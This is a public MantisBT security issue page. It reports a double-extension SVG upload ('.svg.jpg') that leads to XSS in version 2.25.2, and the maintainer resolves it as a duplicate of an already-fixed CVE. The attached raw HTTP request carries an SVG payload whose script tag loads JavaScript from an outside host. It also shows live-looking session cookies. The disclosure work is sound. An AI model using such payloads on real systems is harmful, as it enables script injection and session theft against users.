View Issue Details
ID | Project | Category | View Status | Date Submitted | Last Update |
---|---|---|---|---|---|
0035546 | mantisbt | security | public | 2025-03-06 16:40 | 2025-03-13 05:01 |
Reporter | remjo | Assigned To | dregad | ||
Priority | normal | Severity | minor | Reproducibility | always |
Status | resolved | Resolution | duplicate | ||
Product Version | 2.25.2 | ||||
Summary | 0035546: XSS via File Upload (Double Extension Bypass) | ||||
Description | During a security assessment of MantisBT version 2.25.2, it was found that the web application allows users to upload files with certain extensions, specifically: bmp, gif, jpg, png, txt, and zip. Once uploaded, these files can be downloaded from the bug viewer (view.php) as individual files. However, it was discovered that the application allows for the upload of files with a "double extension". In particular, a file with the extension ".svg.jpg" was successfully uploaded. The The key issue here is that the application does not perform proper validation of the Content-Type of the uploaded file. In this case, the file's Content-Type was "image/svg+xml," which was accepted by the application, even though this Content-Type should typically be blocked for files that may contain executable code (such as SVG with JavaScript). Despite the file being uploaded successfully, the XSS attack was not executed because the application has a strict Content Security Policy (CSP) in place, which prevented the execution Ensure that file uploads are validated both by extension and by file content, including MIME type and file structure, to prevent the uploading of malicious files. | ||||
Steps To Reproduce |
| ||||
Additional Information | At the time of testing, I could not find any existing CVE related to bypassing file extension validation in MantisBT. This may be an unreported vulnerability in the current or other versions. Credits: | ||||
Tags | No tags attached. | ||||
Attached Files | request.txt (2,125 bytes)
POST /mantis-dev/bugnote_add.php HTTP/1.1 Host: grotaap10253.ota.duo.nl Cookie: MANTIS_collapse_settings=|attachment_preview_457:0; MANTIS_secure_session=0; MANTIS_BUG_LIST_COOKIE=13408%2C13407%2C13406%2C13405%2C13404%2C13403%2C13402%2C13401%2C13400%2C13399%2C5790%2C5789%2C5788%2C5768%2C5755%2C5749%2C5758%2C5757%2C5751%2C5754; PHPSESSID=3eq9l0v6j7mtqeaitcv4vcahd7; MANTIS_STRING_COOKIE=L6K-KLKAcg0F8DlCNV5L3NoilLZ_9o0fHtePzSnESEb4R2yTwN-BxmjD1qhyUCSW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------42722667920545302042028076329 Content-Length: 1058 Origin: https://grotaap10253.ota.duo.nl Referer: https://grotaap10253.ota.duo.nl/mantis-dev/view.php?id=13409 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers Connection: keep-alive -----------------------------42722667920545302042028076329 Content-Disposition: form-data; name="bugnote_add_token" 20250306onGMTmqLEd8hz5R2LzbUe5y7RD5bDkmV -----------------------------42722667920545302042028076329 Content-Disposition: form-data; name="bug_id" 13409 -----------------------------42722667920545302042028076329 Content-Disposition: form-data; name="bugnote_text" -----------------------------42722667920545302042028076329 Content-Disposition: form-data; name="max_file_size" 2000000 -----------------------------42722667920545302042028076329 Content-Disposition: form-data; name="ufile[0]"; filename="aaasajhaseezxaa.svg.jpg" Content-Type: image/svg+xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script xlink:href="https://recoil.nl/payload.js"></script> </svg> -----------------------------42722667920545302042028076329-- | ||||
Thanks for the detailed bug report. I'll have a closer look as soon as possible. |
|
Hello, I tried to reproduce this using the provided instructions, but while I'm able to upload the fake JPG SVG file, and while I can see in the bug_file table that it has a mime type of Am I missing something ? |
|
Hi, thanks for trying to reproduce this issue. Is the file being downloaded or is it rendered in the web browser? I have included another SVG to try. You can put this into a svg file and execute it into your web browser to see if your web browser is blocking the script. I used the Firefox web browser to check this. |
|
Thanks for the new SVG, but I don't think the problem is with the image file itself, but I rather me misunderstanding the reproducing steps...
|
|
|
|
Hi, I have disabled CSP on the system and tested again with the following request:
I noticed that Content-Type: image/jpeg also works, if the file is clicked it opens inline as described in the following parameter:
On my older mantis version it still includes the 'image/svg+xml' content type inline. If the file doesn't display inline when clicked, the inline config is probably different, or already fixed in a different manner. |
|
Ah, maybe that's it - I only now realize that you were on 2.25.2... There's quite a few known vulnerabilities in this 4-year-old release which have been fixed in newer versions (check out the change log for details). Any particular reason for not upgrading ? Did you look at 0029135 and 0030384 (CVE-2022-33910) ? It sounds like your problem is the same... If so please note that the issue was fixed in 2.25.5. I strongly recommend that you upgrade to 2.27.1. |
|
We're planning on upgrading, but it will take some time, as we have added many custom modifications. Thanks for linking me 0029135 and 0030384, I haven't seen those before. I installed a brand new system with a newer version of Mantis on it, and can confirm it doesn't work in the newer version. This bug can be closed, thanks again. |
|
Thanks for the feedback. As discussed I'm resolving this as duplicate of 0029135. |
|